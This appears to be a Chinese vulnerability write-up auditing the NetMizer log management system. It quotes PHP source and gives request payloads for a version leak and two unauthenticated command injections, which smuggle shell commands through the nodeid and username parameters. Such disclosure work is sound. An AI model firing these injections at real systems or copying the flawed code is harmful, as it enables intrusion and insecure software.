某日志管理系统审计

0x00 前言

title=”NetMizer 日志管理系统”

某日志管理系统审计

0x01 前台信息泄露

/data/config/upload.php 泄露了版本号.

<?php  include('../include/JSON.php');
$conn_id = mysql_connect($dsn,$dbuser,$dbpasswd);mysql_select_db("sysmonitor");
$versionfile = '/var/www/html/logserver/web.ver';$flagfile = '/tmp/upgradeflag';
function checkpw($username, $password) { $sqlstr = "SELECT password FROM tbl_admin WHERE username='".$username."'"; $res = mysql_query($sqlstr); if($res){ if(mysql_fetch_row($res)){ $pwd = mysql_result($res,0,"password"); if($password!="") $password = crypt($password,"poseidon"); if($pwd == $password){ mysql_close($conn_id); return 0; } } } return -1;}
if($action == 'upload'){ $passwd = mb_check_encoding($passwd, 'UTF-8') ? mb_convert_encoding($passwd, 'gbk', 'UTF-8') : $passwd; if(checkpw('admin',$passwd)<0) { echo '{"success":true, "info":"password error"}'; return; } $file = $_FILES["userfile"]["tmp_name"]; $file_name = $_FILES["userfile"]["name"]; $tmp_filename = "/tmp/".$file_name; $result = move_uploaded_file($file, $tmp_filename); if($result){ echo "{'success':true,'info':''}"; } else { $errstr = "�����ļ��ϴ�ʧ�ܣ��������ϴ���"; echo "{'success':true,'info':'$errstr'}"; return; } chdir("/"); $fp = @fopen('/tmp/webupdate.tmp', "w"); @fwrite($fp, $file_name); @fclose($fp); system("mv /tmp/webupdate.tmp $flagfile"); return;} else if($action == 'getversion'){ $lines=@file($versionfile); $version = "20090101"; if(isset($lines) && isset($lines[0]) && $lines[0]!="") $version = trim($lines[0]); $str = array("success"=>true, "datas"=>$version); $json = json_encode($str); echo $json; return;}
?>

Payload:/data/config/upload.php?action=getversion

某日志管理系统审计

0x02 前台任意命令执行

/data/search/position.php

<?php  include('../include/JSON.php');
$cmd = "/var/www/cgi-bin/search_qq";
if(!$starttime){ $stop_time = floor(time()/300)*300; $stop_time = 1471338000+3600; $start_time = $stoptime - 600; } else { list($year,$month,$day,$hour,$min,$second)=split(":| |-", urldecode($starttime)); $start_time = mktime($hour, $min, $second, $month,$day,$year); $cmd .= " -s $start_time"; list($year,$month,$day,$hour,$min,$second)=split(":| |-", urldecode($stoptime)); $stop_time = mktime($hour, $min, $second, $month,$day,$year); $cmd .= " -e $stop_time"; }
if($nodeid != ""){ $sql_nodeid = " and nodeid = ".ip2long($nodeid)." "; $cmd .= " -n $nodeid"; } else $sql_nodeid = "";
$srcip = $src; if($srcip == ""){ $srcid = "-1"; } else $srcid = ip2long($srcip); if($srcid != "-1"){ $sql_srcid = " and srcip = $srcid "; $cmd .= " -S $srcid"; } else { $sql_srcid = ""; }
if($action == 'file'){ //echo $cmd."n"; $fp = @popen($cmd,"r"); if(!$fp){ echo '{"success":true,"info":"no data"}'; return; }

当 action=file时 nodeid若不为空 会插入到$cmd变量里 并传入到下方的@popen($cmd,”r”);造成命令执行.

Payload:/data/search/position.php?action=file&nodeid=|id>1.txt

某日志管理系统审计

0x03 前台任意命令执行2

/data/hostdelay/hostdelay.php

  if($action == 'list'){  // do by c    if(!$nodeid){      $devices = array();      $cmd = "ls $logpath";      exec($cmd,$devices);      for($i = 0; $i < count($devices); $i ++){        if(!ip2long($devices[$i])) continue;;        if(!$nodeid){          $nodeid = $devices[$i];          break;        }      }    }    $stop = $start + $limit;    //cgi -i 3232235877-3232235877 -a 1444974920 -s 0 -e 400    $cmd = "$cgi -q 1 -s $start -e $stop -n $nodeid ";    $cmd .= "-a $start_time -b $stop_time ";    if(isset($iplist) && $iplist != ""){      $iplists = explode("-", $iplist);      $ipstart = ip2long($iplists[0]);      if(isset($iplists[1])) $ipstop = ip2long($iplists[1]);      else $ipstop = $ipstart;      $cmd .= "-i $ipstart-$ipstop ";    }    if(isset($username) && $username != "") $cmd .= "-u $username ";    if(isset($sorttype)) $cmd .= "-c $sorttype ";//echo "$cmdn";    $fp=@popen($cmd, "r");

传入了username变量 赋值进cmd 而后popen造成命令执行.

Payload:/data/hostdelay/hostdelay.php?action=list&username=|ps>1.txt

某日志管理系统审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!

原文始发于微信公众号(星悦安全):某日志管理系统审计

版权声明:admin 发表于 2024年2月13日 下午5:04。
转载请注明:某日志管理系统审计 | CTF导航

相关文章